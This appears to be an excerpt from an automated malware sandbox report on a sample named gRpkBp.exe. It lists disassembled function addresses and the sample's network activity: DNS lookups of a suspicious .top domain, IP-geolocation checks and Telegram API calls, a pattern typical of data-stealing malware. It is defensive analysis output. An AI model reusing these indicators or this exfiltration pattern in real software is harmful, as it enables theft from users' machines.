Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A97ED9h	29_2_00A97C08
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A98F0Ah	29_2_00A98C10
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A92339h	29_2_00A92068
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A96349h	29_2_00A96078
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A90311h	29_2_00A90040
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A94321h	29_2_00A94050
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A96C7Ah	29_2_00A969A8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9989Ah	29_2_00A995A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9B082h	29_2_00A9AD88
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A94C51h	29_2_00A94980
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A92C69h	29_2_00A92998
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A967E1h	29_2_00A96510
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A90C41h	29_2_00A90970
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9C86Ah	29_2_00A9C570
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9F83Ah	29_2_00A9F540
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9E052h	29_2_00A9DD58
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A91571h	29_2_00A912A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A95581h	29_2_00A952B0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9E9E2h	29_2_00A9E6E8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A93599h	29_2_00A932C8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A975A9h	29_2_00A972D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9E51Ah	29_2_00A9E220
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9CD32h	29_2_00A9CA38
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A93101h	29_2_00A92E30
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A910D9h	29_2_00A90E08
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9FD02h	29_2_00A9FA08
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A950E9h	29_2_00A94E18
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A99D62h	29_2_00A99A68
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A97111h	29_2_00A96E40
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9B54Ah	29_2_00A9B250
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9EEAAh	29_2_00A9EBB0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A95EB1h	29_2_00A95BE0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9BEDAh	29_2_00A9BBE0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A93EA1h	29_2_00A93BF8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9A6F2h	29_2_00A9A3F8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9D6C2h	29_2_00A9D3C8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A91EA1h	29_2_00A91BD0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A91A09h	29_2_00A91738
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9A22Ah	29_2_00A99F30
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9D1FAh	29_2_00A9CF00
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A9BA12h	29_2_00A9B718
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A93A31h	29_2_00A93760
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A97A41h	29_2_00A97770
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 00A95A19h	29_2_00A95748
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F330Ah	29_2_020F3010
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F1B22h	29_2_020F1828
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F033Ah	29_2_020F0040
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F4162h	29_2_020F3E68
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F297Bh	29_2_020F2680
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F1192h	29_2_020F0E98
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F37D2h	29_2_020F34D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F1FEAh	29_2_020F1CF0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F0802h	29_2_020F0508
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F2E42h	29_2_020F2B48
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F165Ah	29_2_020F1360
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F3C9Ah	29_2_020F39A0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F24B2h	29_2_020F21B8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 020F0CCAh	29_2_020F09D0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227C2C9h	29_2_0227C020
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02273BC9h	29_2_02273920
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227CFD1h	29_2_0227CD28
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 022748D1h	29_2_02274628
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 022755D9h	29_2_02275330
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227DCD9h	29_2_0227DA30
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 022762E1h	29_2_02276038
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 022792A9h	29_2_02279000
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227F0E1h	29_2_0227EE10
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227B5C1h	29_2_0227B318
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227AD11h	29_2_0227AA68
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227BA19h	29_2_0227B770
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02273319h	29_2_02273070
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02274021h	29_2_02273D78
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227C721h	29_2_0227C478
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227EC49h	29_2_0227E978
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227FA11h	29_2_0227F740
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02276FE9h	29_2_02276D40
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02277CF1h	29_2_02277A48
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 022789F9h	29_2_02278750
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02279701h	29_2_02279458
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02278149h	29_2_02277EA0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227F579h	29_2_0227F2A8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02278E51h	29_2_02278BA8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02279B59h	29_2_022798B0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227D429h	29_2_0227D180
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02274D29h	29_2_02274A80
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02275A31h	29_2_02275788
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227E1C5h	29_2_0227DE88
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02276739h	29_2_02276490
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02277441h	29_2_02277198
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02275E89h	29_2_02275BE0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227E7B1h	29_2_0227E4E0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02276B91h	29_2_022768E8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02277899h	29_2_022775F0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 022785A1h	29_2_022782F8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227B169h	29_2_0227AEC0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227BE71h	29_2_0227BBC8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02273771h	29_2_022734C8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227CB7Bh	29_2_0227C8D0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02274479h	29_2_022741D0
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 02275181h	29_2_02274ED8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then jmp 0227D881h	29_2_0227D5D8
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_022A5F28
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_022A5F38
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_022A2B00
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_022A2E16
Source: C:\Users\user\AppData\Roaming\gRpkBp.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	29_2_022A2AA1

Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: meridianresourcellc.top
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: api.telegram.org

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49196 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49200 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49203 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49191 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49199 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 193.122.130.0:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 172.67.197.72:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.52.88:443
